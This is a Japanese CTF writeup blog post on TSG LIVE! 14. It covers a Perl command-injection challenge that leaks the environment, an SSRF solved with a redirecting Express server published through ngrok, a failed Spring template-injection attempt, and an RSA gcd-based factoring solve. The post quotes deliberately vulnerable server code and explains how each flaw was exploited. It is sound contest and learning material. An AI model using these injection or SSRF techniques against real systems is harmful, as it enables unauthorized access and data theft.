はまやんはまやんはまやん

hamayanhamayan's blog

TSG LIVE! 14 CTF Writeup

[web] perling_perler

perl

perlで出来たサイトが与えられる。環境変数にフラグが置いてある。ソースコードの重要な部分は以下。

post '/echo' => sub {
    my $str = body_parameters->get('str');
    unless (defined $str) {
        return "No input provided";
    }

    if ($str =~ /[&;<>|\(\)\$\ ]/) {
        return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>";
    };

    my $output = `echo $str`;

    return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>";
};

ユーザー入力の$strを見ると、&;<>|()$が使えないように検証していて、`echo $str`のようにコマンド呼び出しに使われている。コマンドインジェクション出来そうなので、適当に使える文字から`env`とするとフラグが得られた。

[web] Shortnm

URL短縮サービスを作りました。

First Blood。サーバーは2つ用意されていて、片方が外部に公開されているアプリサーバーで、もう1つは内部からのみアクセスできるフラグサーバー。

フラグサーバーは以下のような実装。

from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse

app = FastAPI()

@app.get("/flag")
async def get_flag(request: Request):
    host = request.headers.get("host", "")
    if host == "flag:45654" and request.url.port == 45654:
        return PlainTextResponse("TSGLIVE{REDACTED}")
    return PlainTextResponse("Access denied", status_code=403)

よって、http://flag:45654/flagを呼び出せればフラグが返ってくる。つまり、アプリサーバー側でSSRFしてその内容が取得できる必要がある。その情報を元にアプリサーバーを読むと、以下の点が怪しい。

@app.get("/shortenm")
async def shortenm(url: str = Query(...)):
    short_id = generate_id() 
    url = 'http://localhost:8000/shortem?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    short_id = generate_id() 
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)    
    return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))

リダイレクトが許可された状態で取得して、その中身を出力している。早解きを優先して、ちゃんと確認していないが、直接は呼べないだろうということで、リダイレクトを経由して呼ばせることにする。以下のようなリダイレクトサーバーを用意し、ngrokで公開し、そのURLをGET /shortenm経由で読ませるとフラグが得られる。

// 適当な場所で`npm i express`して`node redirector.js`で起動、`/opt/ngrok http 3000`でngrok用意。
const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  res.redirect('http://flag:45654/flag');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

[web] iwi_deco_demo 解けず

JavaのWebアプリはSpring Bootで書くといいらしいです。

SSTIできる箇所が一生見つからず終わり。@{'/user/__${userId}__/settings'}"@{/user/{id}/settings(id=${userId})}で書き方が違うねということは気づいていたのに、なぜそのヒントを大事にできないのか…

[crypto] Unnecessary Thing

暗号文一個じゃ足りない? しょうがないやつだねえ。ほら、おまけだよ。

ソースコードは以下。

from Crypto.Util.number import getStrongPrime, bytes_to_long
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537

m = bytes_to_long(flag.encode())
assert m < n

c = pow(m, e, n)
cp = pow(m+p, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{cp=}")

Franklin-Reiter Related Message Attackっぽい見た目はしているが、m+pのpは不明なので使えない。cpの方の式を展開してみよう。

 \displaystyle
(m+p)^e \equiv m^e + em^{e-1}p + \binom{e}{2}m^{e-2}p^2 + \binom{e}{3}m^{e-3}p^3 + \cdots + \binom{e}{e-3}m^3p^{e-3} + \binom{e}{e-2}m^2p^{e-2} + emp^{e-1} + p^e \pmod{n}

このとき、[tex:me]は既にcとして与えられているので、以下のように引き算することができる。

 \displaystyle
cp - c \equiv em^{e-1}p + \binom{e}{2}m^{e-2}p^2 + \binom{e}{3}m^{e-3}p^3 + \cdots + \binom{e}{e-3}m^3p^{e-3} + \binom{e}{e-2}m^2p^{e-2} + emp^{e-1} + p^e \pmod{n}

この式の右辺を見ると全てpがかけられているのでcp - cはpの倍数になることが分かる。よって、同様にpの倍数であるnとGCDを取ればpが得られ、nの素因数分解が可能になる。これを実装したのが以下で、動かすとフラグが得られる。

n=113848976691816529412353288353434516248350236084108173798388011730446575498532101181970551229558448491554146100916598598644399716705779759442896244491893934229652371305593092501397461502082542035705864163680009579469363009905785985948594381841301875025743266193800883094355897094329679006391279259361822592657
e=65537
c=67103957270339774904434611308874035749190329450026295613000691170744770398567886634249043441310331743711734092811565436083308201670878005561003470320594090769059799477585765946327866854618977848424687962738057700719728924175419028663672597517615947126157927551559168806869664050731818316337809475028581279782
cp=15293102229247166750976885518461073034520636256742291030355629534093544514258485910897757060045476109646628488748823652005699136184981891883794284690508038803210397343926433011430811798482179001774429749116676973109542250269097851762953181363091270104660431148714880402228633721625810275047682873920643079112

p = gcd(cp - c, n)
q = n // p

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))